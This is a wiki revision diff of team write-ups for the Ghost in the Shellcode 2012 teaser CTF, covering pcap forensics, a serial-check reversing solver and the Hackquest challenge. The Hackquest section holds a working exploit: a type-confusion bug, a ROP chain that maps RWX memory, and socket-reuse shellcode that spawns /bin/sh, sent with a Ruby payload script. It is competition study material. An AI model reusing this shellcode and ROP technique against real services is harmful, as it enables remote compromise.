|
|
(17 intermediate revisions by 2 users not shown) |
Line 1: |
Line 1: |
− | == #1 TelAviv ==
| + | [[Category:CTF]] |
| + | [[Image:gits-scores.png]] |
| | | |
− | === Question === | + | = Ghost in the Shellcode 2012 Teasers writeups = |
| | | |
− | What is the password? ([[Media:7139a4ea239dcac655f7c38ca6a77b61.bin|File]])<br>
| + | http://ghostintheshellcode.com/ |
− | Hint: TeLaViv+ is a packet forensics challenge.
| + | |
| | | |
− | === Solution ===
| + | Thanks to the organizers for those pretty nice teasers! |
| | | |
− | The file 7139a4ea239dcac655f7c38ca6a77b61.bin is a regular pcap file which contains a single TCP session. | + | The following writeups have been made by members of the FIXME team during between January 6th and January 8th. |
| | | |
− | [[Image:gist-telaviv-tcp-session.png]] | + | * Challenge [[CTF/gits2012teaser/1-TelAviv|#1 TelAviv]] by [[User:Francois|Francois]] |
− | | + | * Challenge [[CTF/gits2012teaser/2-ALsRevenge|#2 AL's Revenge]] by [[User:Corecode|Corecode]] |
− | The client sends 245 bytes to the server as an authentification mechanism (red data in the screenshot). The actual data is composed of multiple parts:
| + | * Challenge [[CTF/gits2012teaser/3-Hackquest|#3 Hackquest]] by [[User:Corecode|Corecode]] |
− | | + | |
− | * "GitS", probably some dummy data
| + | |
− | * a NULL byte
| + | |
− | * "Plague", potential username
| + | |
− | * 233 remaining bytes, this is the actual password we're looking for
| + | |
− | | + | |
− | == #2 AL's Revenge ==
| + | |
− | | + | |
− | * file 49dd327824d5afe9cdf931ea4b13719f.bin says xz compressed file -> xzcat > f
| + | |
− | * file f says LLVM bitcode -> llvm-dis > f.s (only works with LLVM 2.8, not with 3.0)
| + | |
− | * analyze disassembly, extract C representation:
| + | |
− | | + | |
− | <pre>
| + | |
− | int
| + | |
− | VerifySerial(uint64_t name, uint64_t serial)
| + | |
− | {
| + | |
− | uint64_t a = 0x8000000000000000LL;
| + | |
− | uint64_t b = 0xa348fccd93aea5a7LL;
| + | |
− | uint64_t result = 0;
| + | |
− | | + | |
− | /* high order bit set? */
| + | |
− | if (name & a)
| + | |
− | a ^= b;
| + | |
− | | + | |
− | if (serial & a)
| + | |
− | serial ^= b;
| + | |
− | | + | |
− | while (serial != 0) {
| + | |
− | if (serial & 1)
| + | |
− | result ^= name;
| + | |
− | | + | |
− | serial >>= 1;
| + | |
− | name <<= 1;
| + | |
− | | + | |
− | if (name & a)
| + | |
− | name ^= b;
| + | |
− | }H
| + | |
− | | + | |
− | return (result == 1);
| + | |
− | }
| + | |
− | </pre>
| + | |
− | | + | |
− | * it looks like a multiplication over a galois field, with the irreducible polynomial 0x1a348fccd93aea5a7 (note leading bit not in C), but it actually isn't, because the high bit gets checked after the shift, not before.
| + | |
− | * lacking math knowledge and math package fu, decided to treat the problem as a linear equation system:
| + | |
− | * The shifting and xoring produces a set of integers, call them name_i. If the serial bit s_i is set, name_i gets added to the result. So you can roughly say r = N * s, with r being the result vector, s the serial vector and N the names matrix.
| + | |
− | * lacking math package fu, implement a gaussian elimination manually:
| + | |
− | | + | |
− | <pre>
| + | |
− | class Numeric
| + | |
− | def bits64
| + | |
− | sprintf("%064b", self).each_char.map{|c| c == "0" ? 0 : 1}
| + | |
− | end
| + | |
− | end
| + | |
− | | + | |
− | def names(name)
| + | |
− | p = 0xa348fccd93aea5a7
| + | |
− | | + | |
− | if (name >> 63) & 1 == 1
| + | |
− | name ^= p
| + | |
− | end
| + | |
− | | + | |
− | ([name] + 63.times.map do |i|
| + | |
− | name <<= 1
| + | |
− | if (name >> 63) & 1 == 1
| + | |
− | name ^= p
| + | |
− | end
| + | |
− | name
| + | |
− | end).map(&:bits64)
| + | |
− | end
| + | |
− | | + | |
− | class Array
| + | |
− | def pivot
| + | |
− | res = []
| + | |
− | self[0].size.times.map do |i|
| + | |
− | self.size.times.map do |j|
| + | |
− | self[j][i]
| + | |
− | end
| + | |
− | end
| + | |
− | end
| + | |
− | | + | |
− | def bitary_to_int
| + | |
− | self.join.to_i(2)
| + | |
− | end
| + | |
− | end
| + | |
− | | + | |
− | class Eq < Array
| + | |
− | attr_accessor :res
| + | |
− | | + | |
− | def initialize(ary, res)
| + | |
− | self.replace(ary)
| + | |
− | @res = res
| + | |
− | end
| + | |
− | | + | |
− | def lead_zero
| + | |
− | self.take_while{|e| e == 0}
| + | |
− | end
| + | |
− | | + | |
− | def first_pos
| + | |
− | self.index(1)
| + | |
− | end
| + | |
− | | + | |
− | def subtract(o)
| + | |
− | Eq.new(self.zip(o).map{|aa, bb| aa ^ bb}, @res ^ o.res)
| + | |
− | end
| + | |
− | end
| + | |
− | | + | |
− | class EqSys < Array
| + | |
− | def initialize(ary, res=nil)
| + | |
− | if !(Eq === ary[0]) && !ary.empty?
| + | |
− | ary = ary.zip(res).map{|a, r| Eq.new(a, r)}
| + | |
− | end
| + | |
− | self.replace(ary)
| + | |
− | end
| + | |
− | | + | |
− | def sort_by_zeros
| + | |
− | self.sort do |a, b|
| + | |
− | a.lead_zero <=> b.lead_zero
| + | |
− | end
| + | |
− | end
| + | |
− | | + | |
− | def subtract_eq(eq)
| + | |
− | pos = eq.first_pos
| + | |
− | return self if not pos
| + | |
− | EqSys.new(self.map{|e| e[pos] == 1 ? e.subtract(eq) : e})
| + | |
− | end
| + | |
− | | + | |
− | def elim
| + | |
− | front = EqSys.new([])
| + | |
− | cur = nil
| + | |
− | rest = self.sort_by_zeros
| + | |
− | while not rest.empty?
| + | |
− | front << cur if cur
| + | |
− | cur = rest.shift
| + | |
− | | + | |
− | front = front.subtract_eq(cur)
| + | |
− | rest = rest.subtract_eq(cur)
| + | |
− | rest = rest.sort_by_zeros
| + | |
− | end
| + | |
− | front << cur
| + | |
− | | + | |
− | front
| + | |
− | end
| + | |
− | | + | |
− | def to_s
| + | |
− | self.map{|e| e.map(&:to_s).join + " = #{e.res}"}.join("\n")
| + | |
− | end
| + | |
− | end
| + | |
− | | + | |
− | require 'pp'
| + | |
− | if __FILE__ == $0
| + | |
− | ns = names(0x6638623261336134)
| + | |
− | | + | |
− | pv = ns.pivot
| + | |
− | es = EqSys.new(pv, 1.bits64)
| + | |
− | | + | |
− | puts es.to_s
| + | |
− | puts
| + | |
− | | + | |
− | r = es.elim
| + | |
− | puts r.to_s
| + | |
− | | + | |
− | res = r.map{|e| e.res}.reverse
| + | |
− | puts res.bitary_to_int.to_s(16)
| + | |
− | | + | |
− | s0 = r.pivot.last.reverse
| + | |
− | puts s0.bitary_to_int.to_s(16)
| + | |
− | puts (res.bitary_to_int^s0.bitary_to_int).to_s(16)
| + | |
− | end
| + | |
− | </pre>
| + | |
− | | + | |
− | == #3 Hackquest ==
| + | |
− | | + | |
− | * Remote system running some sort of text adventure.
| + | |
− | * Hint dropped source code partially (extremely helpful)
| + | |
− | * Hint from irc: look at the items
| + | |
− | * struct ItemInfo contains a union:
| + | |
− | | + | |
− | <pre>
| + | |
− | union
| + | |
− | {
| + | |
− | void* data;
| + | |
− | LocationInfo* newLocation;
| + | |
− | struct ItemInfo* newItem;
| + | |
− | struct
| + | |
− | {
| + | |
− | ActionInfo* actionInfo;
| + | |
− | char* requiredTarget;
| + | |
− | } action;
| + | |
− | struct
| + | |
− | {
| + | |
− | char* name;
| + | |
− | struct ItemInfo* newItem;
| + | |
− | } namedUnwrap;
| + | |
− | } info;
| + | |
− | </pre>
| + | |
− | | + | |
− | * magical item:
| + | |
− | | + | |
− | <pre>
| + | |
− | {"a", "letter addressed to %s", "...", NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}
| + | |
− | </pre>
| + | |
− | | + | |
− | * use() has an insufficient test:
| + | |
− | | + | |
− | <pre>
| + | |
− | if ((item->type == ITEM_PERFORM_ACTION) || (item->type == ITEM_MOVE_TO_LOCATION) ||
| + | |
− | (item->type == ITEM_UNWRAP))
| + | |
− | {
| + | |
− | sendMsg(s, "That item can't have a target.\n");
| + | |
− | ok = false;
| + | |
− | }
| + | |
− | else if (!strcasecmp(item->info.action.requiredTarget, target))
| + | |
− | {
| + | |
− | sendMsg(s, item->message);
| + | |
− | item->info.action.actionInfo->func(s);
| + | |
− | showDesc = item->info.action.actionInfo->showDesc;
| + | |
− | }
| + | |
− | </pre>
| + | |
− | | + | |
− | * if we "use letter on $target", we can make it call ->func()
| + | |
− | * .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -> $target is known
| + | |
− | * ->func aliases with .name
| + | |
− | * the game asks us for our name, and stores this into a 31 byte static buffer
| + | |
− | * whatever we use as name will be used as function address to be called -> we captured control flow
| + | |
− | * ROP ensues:
| + | |
− | * first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)
| + | |
− | * then mmap an anonymous page RWX to a fixed location -> memory we can write to and run code from, we choose the offset
| + | |
− | * our data is on the stack, which is likely on a random offset -> need to move data from stack buffer to page
| + | |
− | * work around this problem by putting bootstrap shellcode into the static name buffer (see above)
| + | |
− | * bootstrap code copies stack-relative buffer to our page, then transfers control:
| + | |
− | | + | |
− | <pre>
| + | |
− | leal 0x41(%esp),%esi # calc source from stack offset
| + | |
− | popl %edi # dest addr is already on stack
| + | |
− | pushl $0x41 # dest offset so that we don't get overwritten
| + | |
− | popl %ecx # duplicates as length
| + | |
− | addl %ecx,%edi # add offset
| + | |
− | push %edi # store dest for later
| + | |
− | rep movsl # copy
| + | |
− | popl %edi # retrieve old dest
| + | |
− | jmp *%edi # jump there
| + | |
− | </pre>
| + | |
− | | + | |
− | * remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:
| + | |
− | | + | |
− | <pre>
| + | |
− | pushl %ecx # ecx was cleared by rep above, put 0 on stack
| + | |
− | movl 0xAB(%esp),%ebx # get socket fd from stack offset
| + | |
− | 1:
| + | |
− | pushl $0x3f # dup2 syscall number
| + | |
− | popl %eax # into eax
| + | |
− | int $0x80 # do syscall
| + | |
− | inc %ecx # inc desc2
| + | |
− | cmp $0x3,%cl # do for 0, 1, 2
| + | |
− | jne 1b # repeat
| + | |
− | | + | |
− | popl %ecx # zero ecx = argv
| + | |
− | mull %ecx # zero eax, edx = env
| + | |
− | pushl $0x0068732f # /sh\0
| + | |
− | pushl $0x6e69622f # /bin
| + | |
− | movl %esp,%ebx # string arg
| + | |
− | movb $0xb,%al # execve syscall number
| + | |
− | int $0x80 # magic!
| + | |
− | </pre>
| + | |
− | | + | |
− | * cat key.txt
| + | |
− | | + | |
− | * all combined, use as (ruby h.rb; cat) | nc host 7331
| + | |
− | | + | |
− | <pre>
| + | |
− | addr = 0x60606000 # our page address
| + | |
− | src = 0x804c2a0 # from 0x80498f4
| + | |
− | | + | |
− | sockoffset = 0xbc
| + | |
− | | + | |
− | p = [
| + | |
− | # offset 0
| + | |
− | "use letter on ",
| + | |
− | # offset 14
| + | |
− | 0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],
| + | |
− | # offset 31
| + | |
− | " " * (0x44 - 32), # fill
| + | |
− | # offset 0x44
| + | |
− | 0x80486d4, # C mmap
| + | |
− | 0x8048db5, # L add $0x1c,%esp | ret
| + | |
− | addr, # (void *addr,
| + | |
− | 4096, # size_t len,
| + | |
− | 1 | 2 | 4, # int prot = PROT_READ | PROT_WRITE | PROT_EXEC,
| + | |
− | 0x10 | 0x02 | 0x20, # int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
| + | |
− | 0, # int filedes,
| + | |
− | 0, # off_t off)
| + | |
− | 0, # filler, also possibly offset
| + | |
− | 0x80487d4, # C memcpy
| + | |
− | addr, # L addr = shellcode
| + | |
− | addr, # (void *dest,
| + | |
− | src + 4, # const void *src,
| + | |
− | 200, # size_t n).
| + | |
− |
| + | |
− | [
| + | |
− | 0x51, # pushl %ecx # ecx was cleared by rep above, put 0 on stack
| + | |
− | 0x8b, 0x9c, 0x24], sockoffset, # movl XXX(%esp),%ebx # get socket fd from stack offset
| + | |
− | [0x6a, 0x3f, # 1: pushl $0x3f # dup2 syscall number
| + | |
− | 0x58, # popl %eax # into eax
| + | |
− | 0xcd, 0x80, # int $0x80 # do syscall
| + | |
− | 0x41, # inc %ecx # inc desc2
| + | |
− | 0x80, 0xf9, 0x03, # cmp $0x3,%cl # do for 0, 1, 2
| + | |
− | 0x75, 0xf5, # jne 1b # repeat
| + | |
− | | + | |
− | 0x59, # popl %ecx # zero ecx = argv
| + | |
− | 0xf7, 0xe1, # mull %ecx # zero eax, edx = env
| + | |
− | 0x68, 0x2f, 0x73, 0x68, 0x00, # pushl 0x0068732f # /sh\0
| + | |
− | 0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl 0x6e69622f # /bin
| + | |
− | 0x89, 0xe3, # movl %esp,%ebx # string arg
| + | |
− | 0xb0, 0x0b, # movb $0xb,%al # execve syscall number
| + | |
− | 0xcd, 0x80 # int $0x80 # magic!
| + | |
− | ]
| + | |
− | ]
| + | |
− | | + | |
− | shellcode = 0xc
| + | |
− | | + | |
− | # this lives at src
| + | |
− | namelen = 20
| + | |
− | name = [
| + | |
− | # stack pivot
| + | |
− | 0x08049019, # add $0x9c,%esp | ret
| + | |
− | | + | |
− | # bootstrap shellcode
| + | |
− | [
| + | |
− | 0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi
| + | |
− | 0x5f, # popl %edi
| + | |
− | 0x6a, namelen, # pushl $XXX
| + | |
− | 0x59, # popl %ecx
| + | |
− | 0x01, 0xcf, # addl %ecx,%edi
| + | |
− | 0x57, # push %edi
| + | |
− | 0xf3, 0xa5, # rep movsl
| + | |
− | 0x5f, # popl %edi
| + | |
− | 0xff, 0xe7, # jmp *%edi
| + | |
− | ],
| + | |
− | ]
| + | |
− | | + | |
− | all = name +
| + | |
− | [
| + | |
− | "\n",
| + | |
− | "get can\n",
| + | |
− | "use can\n",
| + | |
− | "go south\n",
| + | |
− | "get letter\n",
| + | |
− | ] +
| + | |
− | p + ["\n"]
| + | |
− | | + | |
− | def collapse(a)
| + | |
− | a.map do |e|
| + | |
− | case e
| + | |
− | when Numeric
| + | |
− | [e].pack("V")
| + | |
− | when Array
| + | |
− | e.pack('C*')
| + | |
− | else
| + | |
− | e.to_s
| + | |
− | end
| + | |
− | end.join
| + | |
− | end
| + | |
− | | + | |
− | if __FILE__ == $0
| + | |
− | cp = collapse(all)
| + | |
− | # puts cp.size
| + | |
− | print cp
| + | |
− | end
| + | |
− | </pre>
| + | |
The following writeups have been made by members of the FIXME team during between January 6th and January 8th.